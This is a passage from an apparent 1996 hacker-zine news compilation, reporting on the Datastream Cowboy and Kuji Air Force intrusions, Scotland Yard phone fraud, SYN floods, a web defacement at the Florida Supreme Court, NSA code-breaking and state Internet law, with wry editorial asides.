  13327. Laboratory, Griffiss Air Force Base, NY Intrusion."
  13328.  
  13329. Pryce's entry into Air Force computers was noticed on March 28, 1994,
  13330. when personnel discovered a sniffer program he had installed on one
  13331. of the Air Force systems in Rome.  The Defense Information System
  13332. Agency (DISA) was notified.  DISA subsequently called the Air
  13333. Force Office of Special Investigations (AFOSI) at the Air Force
  13334. Information Warfare Center in San Antonio, Texas. AFOSI then
  13335. sent a team to Rome to appraise the break-in, secure the system and
  13336. trace those responsible.  During the process, the AFOSI team discovered
  13337. Datastream Cowboy had entered the Rome Air Force computers for the
  13338. first time on March 25, according to the report.  Passwords had been
  13339. compromised, electronic mail read and deleted and unclassified
  13340. "battlefield simulation" data copied off the facility. The
  13341. Rome network was also used as a staging area for penetration of other
  13342. systems on the Internet.
  13343.  
  13344. AFOSI investigators initially traced the break-in back one step to
  13345. the New York City provider, Mindvox. According to the Congressional
  13346. report, this put the NYC provider under suspicion because "newspaper
  13347. articles" said Mindvox's computer security was furnished by two "former
  13348. Legion of Doom members." "The Legion of Doom is a loose-knit computer
  13349. hacker group which had several members convicted for intrusions into
  13350. corporate telephone switches in 1990 and 1991," wrote Gelber and Christy.
  13351.  
  13352. AFOSI then got permission to begin monitoring -- the equivalent of
  13353. wiretapping -- all communications on the Air Force network.  Limited
  13354. observation of other Internet providers being used during the break-in
  13355. was conducted from the Rome facilities.  Monitoring told the investigators
  13356. the handles of hackers involved in the Rome break-in were Datastream
  13357. Cowboy and Kuji.
  13358.  
  13359. Since the monitoring was of limited value in determining the whereabouts
  13360. of Datastream Cowboy and Kuji, AFOSI resorted to "their human intelligence
  13361. network of informants, i.e., stool pigeons, that 'surf the Internet.'
  13362. Gossip from one AFOSI 'Net stoolie uncovered that Datastream Cowboy was from
  13363. Britain. The anonymous source said he had e-mail correspondence with
  13364. Datastream Cowboy in which the hacker said he was a 16-year old living in
  13365. England who enjoyed penetrating ".MIL" systems. Datastream Cowboy also
  13366. apparently ran a bulletin board system and gave the telephone number to the
  13367. AFOSI source.
  13368.  
  13369. The Air Force team contacted New Scotland Yard and the British law
  13370. enforcement agency identified the residence, the home of Richard
  13371. Pryce, which corresponded to Datastream Cowboy's system phone number.
  13372. English authorities began observing Pryce's phone calls and noticed
  13373. he was making fraudulent use of British Telecom.  In addition,
  13374. whenever intrusions at the Air Force network in Rome occurred, Pryce's
  13375. number was seen to be making illegal calls out of Britain.
  13376.  
  13377. Pryce travelled everywhere on the Internet, going through South America,
  13378. multiple countries in Europe and Mexico, occasionally entering the Rome
  13379. network.  From Air Force computers, he would enter systems at Jet
  13380. Propulsion Laboratory in Pasadena, California, and the Goddard Space
  13381. Flight Center in Greenbelt, Maryland. Since Pryce was capturing the logins
  13382. and passwords of the Air Force networks in Rome, he was then able to
  13383. get into the home systems of Rome network users, defense contractors
  13384. like Lockheed.
  13385.  
  13386. By mid-April of 1994 the Air Force was monitoring other systems being
  13387. used by the British hackers. On the 14th of the month, Kuji logged on
  13388. to the Goddard Space Center from a system in Latvia and copied data
  13389. from it to the Baltic country.  According to Gelber's report, the
  13390. AFOSI investigators assumed the worst, that it was a sign that someone
  13391. in an eastern European country was making a grab for sensitive
  13392. information.  They broke the connection but not before Kuji had
  13393. copied files off the Goddard system.  As it turned out, the Latvian
  13394. computer was just another system the British hackers were using as
  13395. a stepping stone; Pryce had also used it to cover his tracks when
  13396. penetrating networks at Wright-Patterson Air Force Base in Ohio, via
  13397. an intermediate system in Seattle, cyberspace.com.
  13398.  
  13399. The next day, Kuji was again observed trying to probe various
  13400. systems at NATO in Brussels and The Hague as well as Wright-Patterson.
  13401. On the 19th, Pryce successfully returned to NATO systems in The
  13402. Hague through Mindvox.  The point Gelber and Christy seem to be trying
  13403. to make is that Kuji, a 21-year old, was coaching Pryce during some
  13404. of his attacks on various systems.
  13405.  
  13406. By this point, New Scotland Yard had a search warrant for Pryce
  13407. with the plan being to swoop down on him the next time he accessed
  13408. the Air Force network in Rome.
  13409.  
  13410. In April, Pryce penetrated a system on the Korean peninsula and copied
  13411. material off a facility called the Korean Atomic Research Institute
  13412. to an Air Force computer in Rome. At the time, the investigators had
  13413. no idea whether the system was in North or South Korea.  The impression
  13414. created is one of hysteria and confusion at Rome. There was fear that the
  13415. system, if in North Korea, would trigger an international incident, with
  13416. the hack interpreted as an "aggressive act of war." The system turned
  13417. out to be in South Korea.
  13418.  
  13419. During the Korean break-in, New Scotland Yard could have intervened and
  13420. arrested Pryce.  However, for unknown reasons, the agency did not.  Those
  13421. with good memories may recall mainstream news reports concerning Pryce's
  13422. hack, which was cast as an entry into sensitive North Korean networks.
  13423.  
  13424. It's worth noting that while the story was portrayed as the work of
  13425. an anonymous hacker, both the U.S. government and New Scotland Yard knew
  13426. who the perpetrator was.  Further, according to Gelber's report English
  13427. authorities already had a search warrant for Pryce's house.
  13428.  
  13429. Finally, on May 12 British authorities pounced.  Pryce was arrested
  13430. and his residence searched.  He crumbled, according to the Times of
  13431. London, and began to cry.  Gelber and Christy write that Pryce promptly
  13432. admitted to the Air Force break-ins as well as others.  Pryce
  13433. confessed he had copied a large program that used artificial intelligence
  13434. to construct theoretical Air Orders of Battle from an Air Force computer
  13435. to Mindvox and left it there because of its great size, 3-4 megabytes.
  13436. Pryce paid for his Internet service with a fraudulent credit card number.
  13437. At the time, the investigators were unable to find out the name and
  13438. whereabouts of Kuji. A lead to an Australian underground bulletin board
  13439. system failed to pan out.
  13440.  
  13441. On June 23 of this year, Reuters reported that Kuji -- 21-year-old Mathew
  13442. Bevan -- a computer technician, had been arrested and charged in
  13443. connection with the 1994 Air Force break-ins in Rome.
  13444.  
  13445. Rocker Tom Petty sang that even the losers get lucky some time.  He
  13446. wasn't thinking of British computer hackers but no better words could be
  13447. used to describe the two Englishmen and a two year old chain of events that
  13448. led to fame as international computer terrorists in front of Congress
  13449. at the beginning of the summer of 1996.
  13450.  
  13451. Lacking much evidence for the case of conspiratorial computer-waged
  13452. campaigns of terror and chaos against the U.S., the makers of Congressional
  13453. reports resorted to telling the same story over and over, three
  13454. times in the space of the hearings on the subject. One envisions U.S.
  13455. Congressmen too stupid or apathetic to complain, "Hey, didn't we get that
  13456. yesterday, and the day before?" Pryce and Bevan appeared in "Security in
  13457. Cyberspace" and twice in Government Accounting Office reports AIMD-96-84
  13458. and T-AIMD96-92. Jim Christy, the co-author of "Security in Cyberspace"
  13459. and the Air Force Office of Special Investigations' source for the Pryce
  13460. case supplied the same tale for Jack Brock, author of the GAO reports.
  13461. Brock writes, ". . . Air Force officials told us that at least one of
  13462. the hackers may have been working for a foreign country interested in
  13463. obtaining military research data or areas in which the Air Force was
  13464. conducting advanced research."  It was, apparently, more wishful
  13465. thinking.
  13466.  
  13467.  
  13468. Notes:
  13469.  
  13470. The FAS Web site also features an easy to use search engine which can
  13471. be used to pull up the Congressional testimony on hackers and
  13472. network intrusion.  These example key words are effective: "Jim
  13473. Christy," "Datastream Cowboy".
  13474.  
  13475. [=-------------------------------------------------------------------------=]
  13476.  
  13477. title: Hackers Find Cheap Scotland Yard Phone Connection
  13478. source: Reuters/Variety
  13479.  
  13480. Monday August 5 12:01 AM EDT
  13481.  
  13482. LONDON (Reuter) - Computer hackers broke into a security system at
  13483. Scotland Yard, London's metropolitan police headquarters, to make
  13484. international calls at police expense, police said Sunday.
  13485.  
  13486. A police spokesman would not confirm a report in the Times newspaper
  13487. that the calls totaled one million pounds ($1.5 million). He said
  13488. the main computer network remained secure.
  13489.  
  13490. "There is no question of any police information being accessed," the
  13491. spokesman said. "This was an incident which was investigated by our
  13492. fraud squad and by AT&T investigators in the U.S."
  13493.  
  13494. AT&T Corp investigators were involved because most of the calls were
  13495. to the United States, the Times said.
  13496.  
  13497. According to The Times, the hackers made use of a system called PBX
  13498. call forwarding that lets employees to make business calls from home
  13499. at their employer's expense.
  13500.  
  13501. [=-------------------------------------------------------------------------=]
  13502.  
  13503. title: U.S. Official Warns OF "Electronic Pearl Harbor"
  13504. source: BNA Daily Report - 17 Jul 96
  13505.  
  13506. Deputy U.S. Attorney General Jamie Gorelick told a Senate
  13507. subcommittee last week that the possibility of "an electronic Pearl
  13508. Harbor" is a very real danger for the U.S.  She noted in her
  13509. testimony that the U.S. information infrastructure is a hybrid
  13510. public/private network, and warned that electronic attacks "can
  13511. disable or disrupt the provision of services just as readily as --
  13512. if not more than -- a well-placed bomb."  On July 15 the Clinton
  13513. Administration called for a President's Commission on Critical
  13514. Infrastructure Protection, with the mandate to identify the nature
  13515. of threats to U.S. infrastructure, both electronic and physical, and
  13516. to work with the private sector in devising a strategy for
  13517. protecting this infrastructure.  At an earlier hearing, subcommittee
  13518. members were told that about 250,000 intrusions into Defense
  13519. Department computer systems are attempted each year, with about a
  13520. 65% success rate.
  13521.  
  13522. [=-------------------------------------------------------------------------=]
  13523.  
  13524. title: Suit Challenges State's Restraint of the Internet Via AP
  13525. author: Jared Sandberg
  13526. source: The Wall Street Journal
  13527.  
  13528. Can the state of Georgia hold sway over the global Internet?
  13529.  
  13530. A federal lawsuit filed against the state Tuesday by the American
  13531. Civil Liberties Union should eventually answer that question. The
  13532. suit, filed in federal district court in Georgia, challenges a new
  13533. Georgia law that makes it illegal in some instances to communicate
  13534. anonymously on the Internet and to use trademarks and logos without
  13535. permission.
  13536.  
  13537. The ACLU, joined by 13 plaintiffs including an array of public-
  13538. interest groups, contends that the Georgia law is "unconstitutionally
  13539. vague" and that its restraints on using corporate logos and trade
  13540. names are "impermissibly chilling constitutionally protected
  13541. expression." The plaintiffs also argue that the Georgia law, which
  13542. imposes a penalty of up to 12 months in jail and $1,000 in fines,
  13543. illegally tries to impose state restrictions on interstate commerce, a
  13544. right reserved for Congress.
  13545.  
  13546. The legal challenge is one of the first major assaults on state laws
  13547. that seek to rein in the Internet, despite its global reach and
  13548. audience. Since the beginning of 1995, 11 state legislatures have
  13549. passed Internet statutes and nine others have considered taking
  13550. action.
  13551.  
  13552. Connecticut passed a law last year that makes it a crime to send an
  13553. electronic-mail message "with intent to harass, annoy or alarm another
  13554. person" -- despite the Internet's hallowed tradition of "flaming"
  13555. users with messages designed to do just that. Virginia enacted a bill
  13556. this year making it illegal for a state employee -- including
  13557. professors who supposedly have academic freedom on state campuses --
  13558. to use state-owned computers to get access to sexually explicit
  13559. material. New York state has tried to resurrect prohibitions on
  13560. "indecent material" that were struck down as unconstitutional by a
  13561. federal appeals panel ruling on the federal Communications Decency Act
  13562. three months ago.
  13563.  
  13564. Most Internet laws target child pornographers and stalkers. Opponents
  13565. argue the well-intended efforts could nonetheless chill free speech
  13566. and the development of electronic commerce. They maintain that the
  13567. Internet, which reaches into more than 150 countries, shouldn't be
  13568. governed by state laws that could result in hundreds of different, and
  13569. often conflicting, regulations.
  13570.  
  13571. "We've got to nip this in the bud and have a court declare that states
  13572. can't regulate the Internet because it would damage interstate
  13573. commerce," says Ann Beeson, staff attorney for the ACLU. "Even though
  13574. it's a Georgia statute, it unconstitutionally restricts the ability of
  13575. anybody on the Internet to use a pseudonym or to link to a Web page
  13576. that contains a trade name or logo. It is unconstitutional on its
  13577. face."
  13578.  
  13579. Esther Dyson, president of high-tech publisher EDventure Holdings
  13580. Inc. and chairwoman of the Electronic Frontier Foundation, a high-tech
  13581. civil liberties organization that is a co-plaintiff in the lawsuit,
  13582. calls the Georgia law "brain-damaged and unenforceable" and adds: "How
  13583. are they going to stop people from using fake names? Anonymity
  13584. shouldn't be a crime. Committing crimes should be a crime."
  13585.  
  13586. But Don Parsons, the Republican state representative who sponsored the
  13587. Georgia bill, countered that the law is a necessary weapon to combat
  13588. fraud, forgery and other on-line misdeeds. The groups that oppose it,
  13589. he says, "want to present (the Internet) as something magical, as
  13590. something above and beyond political boundaries." It is none of these
  13591. things, he adds.
  13592.  
  13593. Nor does the Georgia law seek to ban all anonymity, Mr. Parsons says;
  13594. instead, it targets people who "fraudulently misrepresent their (Web)
  13595. site as that of another organization." Misrepresenting on-line medical
  13596. information, for example, could cause serious harm to an unsuspecting
  13597. user, he says.
  13598.  
  13599. But Mr. Parsons's critics, including a rival state lawmaker,
  13600. Rep. Mitchell Kaye, say political reprisal lies behind the new
  13601. law. They say Mr. Parsons and his political allies were upset by the
  13602. Web site run by Mr. Kaye, which displayed the state seal on its
  13603. opening page and provided voting records and sometimes harsh political
  13604. commentary. Mr. Kaye asserts that his Web site prompted the new law's
  13605. attack on logos and trademarks that are used without explicit
  13606. permission.
  13607.  
  13608. "We've chosen to regulate free speech in the same manner that
  13609. communist China, North Korea, Cuba and Singapore have," Mr. Kaye
  13610. says. "Legislators' lack of understanding has turned to fear. It has
  13611. given Georgia a black eye and sent a message to the world -- that we
  13612. don't understand and are inhospitable to technology."
  13613.  
  13614. Mr. Parsons denies that the political Web site was the primary reason
  13615. for his sponsorship of the new statute.
  13616.  
  13617. The very local dispute underscores the difficulty of trying to
  13618. legislate behavior on the Internet. "It creates chaos because I don't
  13619. know what rules are going to apply to me," says Lewis Clayton, a
  13620. partner at New York law firm Paul, Weiss, Rifkind, Wharton &
  13621. Garrison. "Whose laws are going to govern commercial transactions? You
  13622. don't want to have every different state with the ability to regulate
  13623. what is national or international commerce."
  13624.  
  13625. In the case of the Georgia statute, while its backers say it isn't a
  13626. blanket ban of anonymity, opponents fear differing interpretations of
  13627. the law could lead to the prosecution of AIDS patients and childabuse
  13628. survivors who use anonymity to ensure privacy when they convene on the
  13629. Internet.
  13630.  
  13631. "Being able to access these resources anonymously really is crucial,"
  13632. says Jeffery Graham, executive director of the AIDS Survival Project,
  13633. an Atlanta service that joined the ACLU in the lawsuit. His group's
  13634. members "live in small communities," he says, and if their identities
  13635. were known, "they would definitely suffer from stigmas and reprisals."
  13636.  
  13637. [=-------------------------------------------------------------------------=]
  13638.  
  13639. title: U.S. Government Plans Computer Emergency Response Team
  13640. source: Chronicle of Higher Education - 5 Jul 96
  13641.  
  13642. The federal government is planning a centralized emergency response team to
  13643. respond to attacks on the U.S. information infrastructure.  The Computer
  13644. Emergency Response Team at Carnegie Mellon University, which is financed
  13645. through the Defense Department, will play a major role in developing the new
  13646. interagency group, which will handle security concerns related to the
  13647. Internet, the telephone system, electronic banking systems, and the
  13648. computerized systems that operate the country's oil pipelines and electrical
  13649. power grids. 
  13650.  
  13651. [=-------------------------------------------------------------------------=]
  13652.  
  13653. title: Hackers $50K challenge to break Net security system
  13654. source: Online Business Today
  13655.  
  13656. World Star Holdings in Winnipeg, Canada is looking for
  13657. trouble. If they find it, they're willing to pay $50,000 to the
  13658. first person who can break their security system. The
  13659. company has issued an open invitation to take the "World
  13660. Star Cybertest '96: The Ultimate Internet Security Challenge,"
  13661. in order to demonstrate the Company's Internet security
  13662. system.
  13663.  
  13664. Personal email challenges have been sent to high profile
  13665. names such as Bill Gates, Ken Rowe at the National Center
  13666. for Super Computing, Dr. Paul Penfield, Department of
  13667. Computer Science at the M.I.T. School of Engineering and
  13668. researchers Drew Dean and Dean Wallach of Princeton
  13669. University.
  13670.  
  13671. [* Challenging Bill Gates to hack a security system is like
  13672.    challenging Voyager to a knitting contest. *]
  13673.  
  13674. OBT's paid subscription newsletter Online Business
  13675. Consultant has recently quoted the Princeton team in several
  13676. Java security reports including "Deadly Black Widow On The
  13677. Web: Her Name is JAVA," "Java Black Widows---Sun
  13678. Declares War," Be Afraid. Be Very Afraid" and "The
  13679. Business Assassin."  To read these reports go to Home Page
  13680. Press http://www.hpp.com and scroll down the front page.
  13681.  
  13682. Brian Greenberg, President of World Star said, "I personally
  13683. signed, sealed and emailed the invitations and am very
  13684. anxious to see some of the individuals respond to the
  13685. challenge. I am confident that our system is, at this time, the
  13686. most secure in cyberspace."
  13687.  
  13688. World Star Holdings, Ltd., is a provider of interactive
  13689. "transactable" Internet services and Internet security
  13690. technology which Greenberg claims has been proven
  13691. impenetrable. The Company launched its online contest
  13692. offering more than $50,000 in cash and prizes to the first
  13693. person able to break its security system.
  13694.  
  13695. According to the test's scenario hackers are enticed into a
  13696. virtual bank interior in search of a vault. The challenge is to
  13697. unlock it and find a list of prizes with inventory numbers and
  13698. a hidden "cyberkey" number.  OBT staff used Home Page
  13699. Press's Go.Fetch (beta) personal agent software to retrieve the
  13700. World Star site and was returned only five pages.
  13701.  
  13702. If you're successful, call World Star at 204-943-2256.  Get to
  13703. it hackers.  Bust into World Star at http://205.200.247.10 to
  13704. get the cash!
  13705.  
  13706. [=-------------------------------------------------------------------------=]
  13707.  
  13708. title: Criminal cult begins PGP crack attempt
  13709. from: grady@netcom.com (Grady Ward)
  13710.  
  13711. The Special Master has informed me that Madame Kobrin has asked
  13712. her to retain a PC expert to attempt to "crack" a series of
  13713. pgp-encrypted multi-megabyte files that were seized along with
  13714. more than a compressed gigabyte of other material from my safety
  13715. deposit box.
  13716.  
  13717. Ironically, they phoned to ask for assistance in supplying them
  13718. with a prototype "crack" program that they could use in iterating
  13719. and permuting possibilities. I did supply them a good core
  13720. pgpcrack source that can search several tens of thousands of
  13721. possible key phrases a seconds; I also suggested that they should
  13722. at least be using a P6-200 workstation or better to make the
  13723. search more efficient.
  13724.  
  13725. The undercurrent is that this fresh hysterical attempt to "get"
  13726. something on me coupled with the daily settlement pleas reflects
  13727. the hopelessness of the litigation position of the criminal cult.
  13728.  
  13729. It looks like the criminal cult has cast the die to ensure that
  13730. the RTC vs Ward case is fought out to the bitter end.  Which I
  13731. modestly predict will be a devastating, humiliating defeat for
  13732. them from a pauper pro per.
  13733.  
  13734. I have given them a final settlement offer that they can leave or
  13735. take. Actually they have a window of opportunity now to drop the
  13736. suit since my counterclaims have been dismissed (although Judge
  13737. Whyte invited me to re-file a new counterclaim motion on more
  13738. legally sufficiant basis).
  13739.  
  13740. I think Keith and I have found a successful counter-strategy to
  13741. the cult's system of litigation harassment.
  13742.  
  13743. Meanwhile, I could use some help from veteran a.r.s'ers. I need
  13744. any copy you have of the Cease and Desist letter that you may
  13745. have received last year from Eliot Abelson quondam criminal cult
  13746. attorney and Eugene Martin Ingram spokespiece.
  13747.  
  13748.  
  13749. Physical mail:
  13750.  
  13751. Grady Ward
  13752. 3449 Martha Ct.
  13753. Arcata, CA  95521-4884
  13754.  
  13755. JP's BMPs or fax-images to:
  13756.  
  13757. grady@northcoast.com
  13758.  
  13759. Thanks.
  13760.  
  13761. Grady Ward
  13762.  
  13763. Ps. I really do need all of your help and good wishes after all.
  13764. Thanks for all of you keeping the net a safe place to insult
  13765. kook kults.
  13766.  
  13767. [=-------------------------------------------------------------------------=]
  13768.  
  13769. title: Hackers Bombard Internet
  13770. author: Dinah Zeiger
  13771. source: Denver Post
  13772.  
  13773. 9/21/96
  13774.  
  13775.         Computer hackers have figured out a new way to tie the Internet
  13776. in knots - flooding network computers with messages so other users can't
  13777. access them.
  13778.         Late Thursday, the federally funded Computer Emergency Response
  13779. Team at Carnegie-Mellon University in Pittsburgh issued an advisory to
  13780. Internet service providers, universities and governments detailing the
  13781. nature of the attacks, which have spread to about 15 Internet services
  13782. over the past six weeks. Three were reported this week.
  13783.         Thus far, none of the Colorado-based Internet providers contacted
  13784. has been victimized, but all are on alert and preparing defenses.
  13785.         The worst of it is that there is no rock-solid defense, because
  13786. the attacks are launched using the same rules - or protocols- that allow
  13787. Internet computers to establish a connection.
  13788.         The best the Computer Emergency Response Team can do so far is to
  13789. suggest modifications that can reduce the likelihood that a site will be
  13790. targeted.
  13791.         In essence, hackers bombard their victim sites with hundreds of
  13792. messages from randomly generated, fictitious addresses. The targeted
  13793. computers overload when they try to establish a connection with the false
  13794. sites. It doesn't damage the network, it just paralyzes it.
  13795.         The Computer Emergency Response Team traces the attacks to two
  13796. underground magazines, 2600 and Phrack, which recently published the code
  13797. required to mount the assaults.
  13798.  
  13799. [* Uh, wait.. above it said messages.. which sounds more like usenet,
  13800.    not SYN Floods.. *]
  13801.  
  13802.         "It's just mischief," said Ted Pinkowitz, president of Denver
  13803. based e-central. "They're just doing it to prove that it can be done."
  13804.         One local Internet service provider, who declined to be identified
  13805. because he fears being targeted, said it goes beyond pranks.
  13806.         "It's malicious," he said. "They're attacking the protocols that
  13807. are the most basic glue of the Internet and it will take some subtle work
  13808. to fix it. You can't just redesign the thing, because it's basic to the
  13809. operation of the entire network."
  13810.         The response team says tracking the source of an attack is
  13811. difficult, but not impossible.
  13812.         "We have received reports of attack origins being identified,"
  13813. the advisory says.
  13814.  
  13815. [=-------------------------------------------------------------------------=]
  13816.  
  13817. title: Crypto Mission Creep
  13818. author: Brock N. Meeks
  13819.  
  13820. The Justice Department has, for the first time, publicly acknowledged
  13821. using the code-breaking technologies of the National Security Agency, to
  13822. help with domestic cases, a situation that strains legal boundaries of
  13823. the agency.
  13824.  
  13825. Deputy Attorney General Jamie Gorelick admitted in July, during an open
  13826. hearing of the Senate's Governmental Affairs permanent subcommittee on
  13827. investigations, that the Justice Department:  "Where, for example, we
  13828. are having trouble decrypting information in a computer, and the
  13829. expertise lies at the NSA, we have asked for technical assistance under
  13830. our control."
  13831.  
  13832. That revelation should have been a bombshell.  But like an Olympic
  13833. diver, the revelation made hardly a ripple.
  13834.  
  13835. By law the NSA is allowed to spy on foreign communications without
  13836. warrant or congressional oversight.  Indeed, it is one of the most
  13837. secretive agencies of the U.S. government, whose existence wasn't even
  13838. publicly acknowledged until the mid-1960s.   However, it is forbidden to
  13839. get involved in domestic affairs.
  13840.  
  13841. During the hearing Sen. Sam Nunn (D-Ga.) asked Gorelick if the President
  13842. had the "the constitutional authority to override statutes where the
  13843. basic security of the country is at stake?"  He then laid out a
  13844. scenario:  "Let's say a whole part of the country is, in effect,
  13845. freezing to death in the middle of the winter [because a power grid has
  13846. been destroyed] and you believe it's domestic source, but you can't
  13847. trace it, because the FBI doesn't have the capability.  What do you do?"
  13848.  
  13849. Gorelick replied that:  "Well, one thing you could do -- let me say
  13850. this, one thing you could do is you could detail resources from the
  13851. intelligence community to the law enforcement community.  That is, if
  13852. it's under -- if it's -- if you're talking about a technological
  13853. capability, we have done that."   And then she mentioned that the NSA
  13854. had been called on to help crack some encrypted data.
  13855.  
  13856. But no one caught the significance of Gorelick's' statements.  Instead,
  13857. the press focused on another proposal she outlined, the creation of what
  13858. amounts to a "Manhattan Project" to help thwart the threat of
  13859. information warfare.  "What we need, then, is the equivalent of the
  13860. 'Manhattan Project' for infrastructure protection, a cooperative venture
  13861. between the government and private sector to put our best minds together
  13862. to come up with workable solutions to one of our most difficult
  13863. challenges,'' Gorelick told Congress.  Just a day earlier, President
  13864. Clinton had signed an executive order creating a blue-ribbon panel, made
  13865. up of several agencies, including the Justice Department, the CIA, the
  13866. Pentagon and the NSA and representatives of the private sector.
  13867.  
  13868. Though the press missed the news that day; the intelligence agency
  13869. shivered.  When I began investigating Gorelick's statement, all I got
  13870. were muffled grumbling.   I called an NSA official at home for comments.
  13871. "Oh shit," he said, and then silence.   "Can you elaborate a bit on that
  13872. statement?" I asked, trying to stifle a chuckle.  "I think my comment
  13873. says it all," he said and abruptly hung up the phone.
  13874.  
  13875. Plumbing several sources within the FBI drew little more insight.   One
  13876. source did acknowledge that the Bureau had used the NSA to crack some
  13877. encrypted data "in a handful of instances," but he declined to
  13878. elaborate.
  13879.  
  13880. Was the Justice Department acting illegally by pulling the NSA into
  13881. domestic work?   Gorelick was asked by Sen. Nunn if the FBI had the
  13882. legal authority to call on the NSA to do code-breaking work.   "We have
  13883. authority right now to ask for assistance where we think that there
  13884. might be a threat to the national security," she replied.  But her
  13885. answer was "soft."   She continued:  "If we know for certain that there
  13886. is a -- that this is a non-national security criminal threat, the
  13887. authority is much more questionable."  Questionable, yes, but averted?
  13888. No.
  13889.  
  13890. If Gorelick's answers seem coy, maybe it's because her public statements
  13891. are at odds with one another.   A month or so before her congressional
  13892. bombshell, she revealed the plans for the information age"Manhattan
  13893. Project" in a speech.   In a story for Upside magazine, by
  13894. old-line investigative reporter Lew Koch, where he broke the story,
  13895. Gorelick whines in her speech about law enforcement going through "all
  13896. that effort" to obtain warrants to search for evidence only to find a
  13897. child pornography had computer files "encrypted with DES" that don't
  13898. have a key held in escrow.  "Dead end for us," Gorelick says.  "Is this
  13899. really the type of constraint we want? Unfortunately, this is not an
  13900. imaginary scenario. The problem is real."
  13901.  
  13902. All the while, Gorelick knew, as she would later admit to Congress, that
  13903. the FBI had, in fact, called the NSA to help break codes.
  13904.  
  13905. An intelligence industry insider said the NSA involvement is legal.
  13906. "What makes it legal probably is that when [the NSA] does that work
  13907. they're really subject to all the constraints that law enforcement is
  13908. subject to."    This source went on to explain that if the FBI used any
  13909. evidence obtained from the NSA's code-breaking work to make it's case in
  13910. court, the defense attorney could, under oath, ask the NSA to "explain
  13911. fully" how it managed to crack the codes.  "If I were advising NSA today
  13912. I would say, there is a substantial risk that [a defense attorney] is
  13913. going to make [the NSA] describe their methods," he said.  "Which means
  13914. it's very difficult for the NSA to do its best stuff in criminal cases
  13915. because of that risk."
  13916.  
  13917. Some 20 years ago, Sen. Frank Church, then chairman of the Senate
  13918. Intelligence Committee, warned of getting the NSA involved in domestic
  13919. affairs, after investigating the agency for illegal acts.  He said the
  13920. "potential to violate the privacy of Americans is unmatched by any other
  13921. intelligence agency."   If the resources of the NSA were ever used
  13922. domestically, "no American would have any privacy left . . . There would
  13923. be no place to hide," he said.  "We must see to it that this agency and
  13924. all agencies that possess this technology operate within the law and
  13925. under proper supervision, so that we never cross over that abyss.  That
  13926. is an abyss from which there is no return," he said.
  13927.  
  13928. And yet, the Clinton Administration has already laid the groundwork for
  13929. such "mission creep" to take place, with the forming of this "Manhattan
  13930. Project."
  13931.  
  13932. But if the Justice Department can tap the NSA at will -- a position of
  13933. questionable legality that hasn't been fully aired in public debate --
  13934. why play such hardball on the key escrow encryption issue?
  13935.  
  13936. Simple answer:  Key escrow is an easier route.  As my intelligence
  13937. community source pointed out, bringing the NSA into the mix causes
  13938. problems when a case goes to court.   Better to have them work in the
  13939. background, unseen and without oversight, the Administration feels. With
  13940. key escrow in place, there are few legal issues to hurdle.
  13941.  
  13942. In the meantime, the Justice Department has started the NSA down the
  13943. road to crypto mission creep.  It could be a road of no return.
  13944.  
  13945. Meeks out...
  13946.  
  13947. [=-------------------------------------------------------------------------=]
  13948.  
  13949. title: Hacker posts nudes on court's Web pages
  13950. author: Rob Chepak
  13951. source: The Tampa Tribune
  13952.  
  13953.  
  13954.        TALLAHASSEE - The Internet home of the Florida Supreme Court isn't
  13955. the kind of place you'd expect to find nudity.
  13956.        But that's what happened Wednesday morning when a judge in
  13957. Tallahassee found a pornographic photo while he was looking for the latest
  13958. legal news.
  13959.        A computer hacker broke into the high court's cyberhome, placing at
  13960. least three pornographic photos and a stream of obscenities on its Web pages.
  13961.        ``All I looked at was the one picture, then I checked with the
  13962. court,'' said a surprised Charles Kahn Jr., a 1st District Court of Appeal
  13963. judge.
  13964.        The altered pages were immediately turned off. The Florida Department
  13965. of Law Enforcement is investigating the incident and the U.S. Justice
  13966. Department has been contacted. The hacker didn't tamper with any official
  13967. records, court officials said.
  13968.        ``We've got three photos and we're looking for more,'' said Craig
  13969. Waters, executive assistant to Chief Justice Gerald Kogan. The culprit
  13970. ``could be anyone from someone in the building to the other side of
  13971. the world.''
  13972.  
  13973. [* I bet they are looking for more.. *]
  13974.  
  13975.        The Florida Court's Web site is used to post information about court
  13976. opinions, state law and legal aid. Thousands of people, including children,
  13977. use the court system's more than 500 Internet pages each month, Waters said.
  13978.        The court and other state agencies usually keep their most vital
  13979. information on separate computers that can't be accessed on the Internet.
  13980.        Officials aren't sure how the culprit broke in, and FDLE had no
  13981. suspects Thursday afternoon. But court officials long have suspected their
  13982. Web site could be a target for hackers armed with the computer equipment to
  13983. impose photos on the Web. The Florida Supreme Court became the first state
  13984. Supreme Court in the nation to create its own Internet pages two years ago.
  13985.        While the episode sounds like a well-crafted high school prank,
  13986. computer hackers are becoming a big problem for government agencies, which
  13987. increasingly are finding themselves the victims of criminal tampering on
  13988. the Internet. In August, someone placed swastikas and topless pictures of
  13989. a TV star on the U.S.
  13990.        Department of Justice's home page. The Central Intelligence Agency
  13991. has been victimized, too.
  13992.        ``It's certainly a common problem,'' said P.J. Ponder, a lawyer for
  13993. the Information Resource Commission, which coordinates the state
  13994. government's computer networks. However, there are no statistics on
  13995. incidences of tampering with state computers.
  13996.        The best way for anyone to minimize damage by computer hackers is by
  13997. leaving vital information off the Internet, said Douglas Smith, a consultant
  13998. for the resource commission. Most state agencies follow that advice, he added.
  13999.        ``I think you have to weigh the value of security vs. the value of
  14000. the information you keep there,'' he said.
  14001.        Court officials would not reveal details of the sexually explicit
  14002. photos Thursday, but Liz Hirst, an FDLE spokeswoman, said none were of
  14003. children.
  14004.        Penalties for computer tampering include a $5,000 fine and five
  14005. years in jail, but the punishment is much higher if it involves child
  14006. pornography, she said.
  14007.        Without a clear motive or obvious physical evidence, FDLE
  14008. investigators, who also investigate child pornography on the Internet,
  14009. hope to retrace the culprit's steps in cyberspace. However, Ponder said
  14010. cases of Internet tampering are ``very difficult to solve.''
  14011.        Thursday, the state's top legal minds, who are used to handing out
  14012. justice, seemed unaccustomed to being cast as victims.
  14013.        ``No damage was done,'' Kogan said in a statement. ``But this
  14014. episode did send a message that there was a flaw in our security that we
  14015. now are fixing.''
  14016.  
  14017. [* I tell you (and other agencies) I do security consulting!! Please?! *]
  14018.  
  14019. [=-------------------------------------------------------------------------=]
  14020.  
  14021. title: Hacking Into Piracy
  14022. source: The Telegraph
  14023.  
  14024. 22nd October 1996
  14025.  
  14026. Computer crime investigators are using the techniques of their
  14027. adversaries to crack down on illegally traded software. Michael
  14028. McCormack reports.
  14029.  
  14030. The adage "Set a thief to catch a thief" is being updated for the
  14031. electronic age as online investigators use hackers' techniques to fight
  14032. a thriving trade in counterfeit and pirate software that is reckoned to
